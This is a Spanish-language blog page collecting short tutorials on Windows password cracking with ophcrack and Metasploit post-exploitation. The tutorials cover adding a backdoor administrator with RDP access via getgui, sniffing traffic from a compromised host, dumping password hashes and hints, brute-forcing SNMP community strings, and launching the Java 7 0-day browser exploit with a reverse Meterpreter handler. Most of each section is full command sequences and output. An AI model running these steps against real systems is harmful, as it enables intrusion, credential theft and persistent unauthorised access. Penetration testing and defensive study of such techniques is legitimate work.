Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

metasploit, conexión a escritorio remoto

Hay una cosa que está clara, si Windows ha triunfado es por su escritorio y por la 'facilidad' de manejo que éste ofrece. Casi cualquier cosa la puedes hacer de forma simple con el ratón y viéndolo, mientras que el uso de windows desde línea de comandos es más bien complejo. Permite hacer una gran cantidad de cosas, pero más complejas. Para solucionarlo, Windows permite compartir el escritorio con otros equipos y así facilitar la vida a los administradores (y también, por ende a los atacantes). Hoy vamos a ver una forma muy simple de crear un nuevo usuario y activar para él el acceso a escritorio remoto una vez que tenemos una sesión de meterpreter.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type         Information   Connection
--  ----         -----------   ----------
 1  meterpreter  NT AUTHORITY  192.168.1.33:4444 -> 192.168.1.50:1125
Pues bien, accedemos a la sesión de meterpreter y empleamos comando/exploit getgui que como su nombre apunta, 'da un acceso gráfico'.
msf exploit(ms08_067_netapi)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u username -p password
Or:    getgui -e

OPTIONS:

  -e       Enable RDP only.
  -f opt   Forward RDP Connection.
  -h       Help menu.
  -p opt   The Password of the user to add.
  -u opt   The Username of the user to add.
Es necesario pasarle los parámetros adecuados, es decir, el nombre y la contraseña del nuevo usuario que vamos a crear con acceso remoto.
meterpreter> run getgui -u shell -p p0wned
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
[*] Carlos Perez carlos_perez@darkoperator.com 
[*] Enabling Remote Desktop 
[*]  RDP is disabled; enabling it ... 
[*] Setting Terminal Services service startup mode 
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary 
[*] Setting user account for logon 
[*]  Adding User: shell with Password: p0wned 
[*]  Adding User: shell to local group Remote Desktop Users 
[*]  Adding User: shell to local group Administrators 
[*] You can now login with the created user 
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
En caso de que hayamos empleado algún otro método para saber la contraseña de los usuarios ya creados, también podemos emplear este exploit para habilitar el acceso de escritorio remoto y así poder acceder al equipo.
meterpreter> run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
Leer más

metasploit, sniff a windows interface

Para aquellos que empleéis metasploit  y todavía no sepáis todas las posibilidades que ofrece para la post explotación, hoy os voy a presentar una realmente interesante. El empleo de un sniffer desde meterpreter que facilita y cuanto, la captura de información en red una vez el sistema está comprometido.
Como siempre, lo complicado es acceder al sistema, pero una vez tengamos acceso, simplemente podemos seguir estos sencillos pasos,
  1. Acceso a un sistema comprometido
    msf exploit(ms08_067_netapi)> sessions -l
    
    Active sessions
    ===============
    
    Id Type                   Connection
    -- ----                   ----------
    1  meterpreter x86/win32  192.168.1.33:4444 -> 192.168.1.50:2813
    
    msf exploit(ms08_067_netapi)> sessions -i 1
    [*] Starting interaction with 1...
    
    meterpreter>
    
  2. Cargar el sniffer
    meterpreter> use sniffer
    Loading extension sniffer...success.
    meterpreter> help
    Sniffer Commands
    ================
    
    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface
    
  3. Comenzar a capturar
    meterpreter> sniffer_interfaces
    
    1 - 'NIC Fast Ethernet PCI Familia RTL8139 de Realtek'...
    
    meterpreter> sniffer_start 1
    [*] Capture started on interface 1 (50000 packet buffer)
    
  4. Obtener estadísticas de capturas
    meterpreter> sniffer_stats 1
    [*] Capture statistics for interface 1
     packets: 333
     bytes: 139212
    
  5. Analizar los datos
    meterpreter> lpwd
    /home/javier
    meterpreter> sniffer_dump 1 1.pcap
    [*] Flushing packet capture buffer for interface 1...
    [*] Flushed 348 packets (147971 bytes)
    [*] Downloaded 100% (147971/147971)...
    [*] Download completed, converting to PCAP...
    [*] PCAP file written to 1.pcap
    
    meterpreter> sniffer_stop 1
    [*] Capture stopped on interface 1
    [*] There are 9 packets (1071 bytes) remaining
    [*] Download or release them using 'sniffer_dump' or 'sniffer_release'
    
Tras esto, tenemos localizado en /home/javier/1.pcap un fichero de tipo .pcap con los datos que se han capturado del interfaz del Windows comprometido. Ahora sólo queda analizar lo que ha pasado por ese interfaz durante la captura. Para ello, podemos emplear un programa tipo wireshark.
Leer más

metasploit, obteniendo contraseñas y frases de usuarios en Windows

Otra vez volvemos a presentar algo de metasploit. En este caso una forma sencilla de obtener un volcado del hashdump de usuarios y contraseñas de un equipo al que tengamos acceso, así como un listado de las frases que usa Windows para darle pistas al usuario en caso de que se olvide la contraseña. Esta frase si está bien creada puede ayudar a descubrir la contraseña del usuario de forma simple, ya que da información que empleando redes sociales o ingeniería social, se podría conseguir. Para poder conseguir estos datos únicamente debemos de tener usa sesión de meterpreter activa.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type        Information  Connection
--  ----        -----------  ----------
1   meterpreter WIN-VIRT     192.168.1.33:4444 -> 192.168.1.50:1949
Si tenemos esto, entonces ya podemos emplear 2 módulos existentes para obtener el hashdump que nos interes. Estos módulos son:
  • smart_hashdump
    msf post(ms08_067_netapi)> use post/windows/gather/smart_hashdump
    msf post(smart_hashdump)> set SESSION 1
    SESSION => 1
    msf post(smart_hashdump)> exploit 
    
    [*] Running module against WIN-VIRT
    [*] Hashes will be saved to the database if one is connected.
    [*] Hashes will be saved in loot in JtR password file format to:
    [*] /root/.msf4/loot/default_192.168.1.50_windows.hashes.txt
    [*] Dumping password hashes...
    [*] Running as SYSTEM extracting hashes from registry
    [*]  Obtaining the boot key...
    [*]  Calculating the hboot key using SYSKEY 264XXX
    [*]  Obtaining the user list and keys...
    [*]  Decrypting user keys...
    [*]  Dumping password hints...
    [+]  Javier:"p0wned"
    [*]  Dumping password hashes...
    [+]  Administrador:500:5b98b5c244XXX:::
    [+]  Asistente de ayuda:1000:b4a4XXX:::
    [+]  SUPPORT_388945a0:1002:aaf418XXX:::
    [+]  Javier:1003:5b98bXXX:::
    [+]  ASPNET:1005:6a695044XXX:::
    [*] Post module execution completed
    
  • hashdump
    msf post(smart_hashdump)> use post/windows/gather/hashdump
    msf post(hashdump)> set SESSION 1
    SESSION => 1
    msf post(hashdump)> exploit
    
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY 264XXX
    [*] Obtaining the user list and keys...
    [*] Decrypting user keys...
    [*] Dumping password hints...
    
    Javier:"p0wned"
    
    [*] Dumping password hashes...
    
    Administrador:500:5b9XXX:::
    Invitado:501:aadXXX:::
    Asistente de ayuda:1000:b4aXXX:::
    SUPPORT_388945a0:1002:aadXXX:::
    Javier:1003:5b9XXX:::
    ASPNET:1005:6a6XXX:::
    
    [*] Post module execution completed
    
En caso de que al ejecutar el exploit ningún usuario tenga configurado una passwd, la salida que tendremos será tal que así, respectivamente.
  • smart_hashdump
    [*]  Dumping password hints...
    [*]  No users with password hints on this system
    [*] Dumping password hashes...
    
  • hashdump
    [*] Dumping password hints...
    
    No users with password hints on this system
    
    [*] Dumping password hashes...
    
Leer más

metasploit, snmp community

En alguna ocasión fijo que tuvimos que acceder (siempre de forma lícita) a la información de un equipo vía snmp y no sabíamos la community que tenía asociada. Para poder averiguarla, metasploit nos puede ayudar con un módulo de escaneo, que automatiza las pruebas. Como siempre, arrancamos nuestro framework y cargamos el módulo.
msf> use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login)> show options

Module options (auxiliary/scanner/snmp/snmp_login):

Name              Setting  Required  Description
----              -------  --------  -----------
BATCHSIZE         256      yes  The number of hosts to probe in each set
BLANK_PASSWORDS   true     no   Try blank passwords for all users
BRUTEFORCE_SPEED  5        yes  How fast to bruteforce, from 0 to 5
CHOST                      no   The local client address
PASSWORD                   no   The password to test
PASS_FILE         pass.f   no   File containing communities, one per line
RHOSTS                     yes  The target address range or CIDR identifier
RPORT             161      yes  The target port
STOP_ON_SUCCESS   false    yes  Stop guessing when a credential works
THREADS           1        yes  The number of concurrent threads
USER_AS_PASS      true     no   Try the username as the password
VERBOSE           true     yes  Whether to print output for all attempts
Llegados a este punto únicamente hay que configurar el host y el resto de parámetros que interese y lanzar el 'ataque' contra la víctima.
msf auxiliary(snmp_login)> set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf auxiliary(snmp_login)> run
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying public...
[+] SNMP: 192.168.1.1 community string: 'public' info: 'Enterasys Networks, Inc. Matrix N7 Platinum Rev 06.12.03.0003 04/22/2009--12:42 ofc'
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying private...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 0...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 0392a0...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 1234...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 2read...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying 4changes...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying ANYCOM...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying Admin...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying C0de...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying CISCO...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying CR52401...
[*] :161SNMP - 192.168.1.1:161 - SNMP - Trying IBM...
...
[*] Validating scan results from 1 hosts...
[*] Host 192.168.1.1 provides READ-WRITE access with community 'public'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Una vez que tengamos la community, en caso de que la intención sea acceder a la información, existen numerosas herramientas que pueden devolverla consultando la community.
Leer más

Metasploit, java_jre17_exec 0 day exploit

Ayer se dio a conocer por todo Internet un 0 day de Java, con el código fuente del mismo que permite acceso remoto a un equipo con la simple visita de una página web para ello preparada (o la ejecución del código). Aunque el código ya está publicado por la red, la gente de metasploit también ha sacado un pequeño módulo que aprovecha dicha vulnerabilidad para permitir a un atacante acceder a una máquina vulnerable. Si quieres comprobar si tu infraestructura se ve afectada, simplemente actualiza tus módulos y ¡compruébalo!
msf> use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec)> show options

Module options (exploit/multi/browser/java_jre17_exec):

 Name        Setting  Description
 ----        -------  -----------
 SRVHOST     0.0.0.0  The local host to listen on.
 SRVPORT     8080     The local port to listen on.
 SSL         false    Negotiate SSL for incoming connections
 SSLCert              Path to a custom SSL certificate
 SSLVersion  SSL3     Specify the version of SSL that should be used
 URIPATH              The URI to use for this exploit

Exploit target:

 Id  Name
 --  ----
 0   Generic (Java Payload)

msf exploit(java_jre17_exec)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_exec)> set SRVPORT 80
SRVPORT => 80
Tras tener todo cargado y configurado, únicamente queda por ejecutar el exploit.
msf exploit(java_jre17_exec)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.33:4444 
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.33:80/
[*] Server started.
Una vez lanzado, sólo queda esperar a que una víctima acceda a la página vulnerable y que tenga el plugin de java activado. En este caso da igual el navegador o el sistema operativo, ya que todos se ven afectados.
msf exploit(java_jre17_exec)>
[*] 192.168.1.33  java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.33  java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 192.168.1.33
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.50:1259) at 2012-08-28 19:59:45 +0200

msf exploit(java_jre17_exec)> sessions

Active sessions
===============

 Id  Type                   Connection
 --  ----                   ----------
 1   meterpreter java/java  192.168.1.33:4444 -> 192.168.1.50:1259

msf exploit(java_jre17_exec)> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Por el momento no hay ningún parche de seguridad, así que lo mejor es deshabilitar el complemento Java de todos los navegadores.

Más información, aquí y aquí.

[Actualización 31-Agosto-2012]
Oracle por fin ha publicado la esperada actualización al fallo de seguridad CVE-2012-4681. Actualiza: Java™ SE Development Kit 7, Update 7 (JDK 7u7).
Leer más

metasploit, prefetchtool module

Windows por defecto cada vez que arrancas un programa crea un pequeño fichero .pf (prefetch) que contiene toda la información relativa al mismo, uso de aplicaciones, librerías, ficheros empleados, etc. Estos archivos resultan de gran utilidad a la hora de realizar un análisis en profundidad del equipo, ya que ofrecen la posibilidad de conocer el último estado en el que se encontraba el equipo. La contra, es que para un atacante, toda esta información también es muy valiosa. Por lo tanto, cuando un atacante accede al equipo, puede ir a %%windir%%\Prefetch, carpeta predefinidad de los ficheros .pf y buscar ahí mucha información. Sin embargo si estamos dentro de un equipo empleando metasploit y con el intérprete meterpreter, éste trae un módulo que realiza dicha funcionalidad: prefetchtool.
Una vez estemos dentro de la máquina atacada, únicamente hay que ejecutar el módulo prefetchtool, tal como sigue,
meterpreter> run prefetchtool -h
[*] Prefetch-tool Meterpreter Script

OPTIONS:

   -c       Disable SHA1/MD5 checksum
   -h       Help menu.
   -i       Perform lookup for software name
   -l       Download Prefetch Folder Analysis Log
   -p       List Installed Programs
   -x #     Top x Accessed Executables (Based on Prefetch folder)
Al ejecutarlo con la opción -h, muestra el menú aquí escrito. La forma de ejecutarse es muy sencilla, ya que este módulo no tiene mayor complicación. Si no existe en local, se descarga la última versión disponible de la red, luego la sube al equipo de la víctima para posteriormente extraer la información. Dicha información se puede extraer en tiempo real o bien descargarla a local para un posterior análisis más minucioso. Vamos a ver a prefetchtool en funcionamiento.
meterpreter> run prefetchtool
[*] No local copy of prefetch.exe, downloading from the internet...
[*] Downloaded prefetch.exe to /opt/framework/msf3/data/prefetch.exe
[*] Running Prefetch-tool script...
[*] Uploading Prefetch-tool for analyzing Prefetch folder...
[*] Prefetch-tool uploaded as C:\WINDOWS\TEMP\09447.exe
[*] OUT> 43 Prefetch Files Found
[*] OUT> Analyzing 1 of 43 files
[*] OUT> Filename:  chrome.exe-16185b96.pf
[*] OUT> MD5:   3d28738ee7a72c458d896837be5f8fc1
[*] OUT> SHA1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
[*] OUT> Last accessed time: Mon Jul 30 15:52:08 2012
[*] OUT> Last modified date: Mon Jul 30 16:52:08 2012
[*] OUT> File creation date: Mon May 18 16:09:55 2009
[*] OUT> Total number of runs: 110
[*] OUT> 
[*] OUT> Analyzing 2 of 43 files
[*] OUT> Filename:  chrome.exe-16185b99.pf
[*] OUT> MD5:   8caf984cca4bf018cf9e4fc30f6fae84
[*] OUT> SHA1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
[*] OUT> Last accessed time: Mon Jul 30 15:52:27 2012
[*] OUT> Last modified date: Mon Jul 30 16:52:37 2012
[*] OUT> File creation date: Fri Jan 21 10:42:52 2011
[*] OUT> Total number of runs: 255
[*] OUT> 
[*] OUT> Analyzing 3 of 43 files
...
Si ahora no interesa descargar la información que se extrae del equipo a local, simplemente con la opción -l lo realizará automáticamente,
meterpreter> run prefetchtool -l
[*] Checking for an updated copy of prefetch.exe..
[*] Running Prefetch-tool script...
[*] Uploading Prefetch-tool for analyzing Prefetch folder...
[*] Prefetch-tool uploaded as C:\WINDOWS\TEMP\63263.exe
[*] OUT> 43 Prefetch Files Found
....
 Clearing prefetch-tool prefetch entry ...
[*] [*] Saving prefetch logs to /root/.msf4/logs/prefetch/192.168.1.35-20120811.5054.log...
[*] [*] Deleting log file from target...
Y un ejemplo final de uso es poder sacar un informe de software instalado en la máquina (opción -p).
meterpreter> run prefetchtool -p
[*] Checking for an updated copy of prefetch.exe..
[*] IBMStorageManagerProfiler Server            (Version: 4.9.6)
[*] Juniper Networks Network Connect 7.1.7      (Version: 7.1.7.20581)
[*] Windows Installer 3.1 (KB893803)         (Version: 3.1)
[*] Actualización para Windows XP (KB898461)    (Version: 1)
[*] Hotfix for Windows XP (KB915865)            (Version: 10)
[*] Mozilla Firefox 13.0.1 (x86 es-ES)          (Version: 13.0.1)
[*] Mozilla Maintenance Service                 (Version: 13.0.1)
[*] Picasa 3                                    (Version: 3.8)
[*] VLC media player 1.1.8                      (Version: 1.1.8)
[*] Windows Imaging Component                   (Version: 3.0.0.0)
[*] WinSCP 4.3.2                                (Version: 4.3.2)
[*] MSXML 6.0 Parser (KB933579)                 (Version: 6.10.1200.0)
[*] Microsoft .NET Framework 3.5                (Version: 3.5.21022)
[*] WebFldrs XP                                 (Version: 9.50.6513)
[*] Visual Studio.NET Baseline - Spanish (Version: 7.1.3088)
[*] Microsoft Office Professional Edition 2003 (Version: 11.0.7969.0)
[*] Microsoft .NET Framework 2.0 Service Pack 1 (Version: 2.1.21022)
[*] Microsoft FrontPage Client - Spanish (Version: 7.00.9209)
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios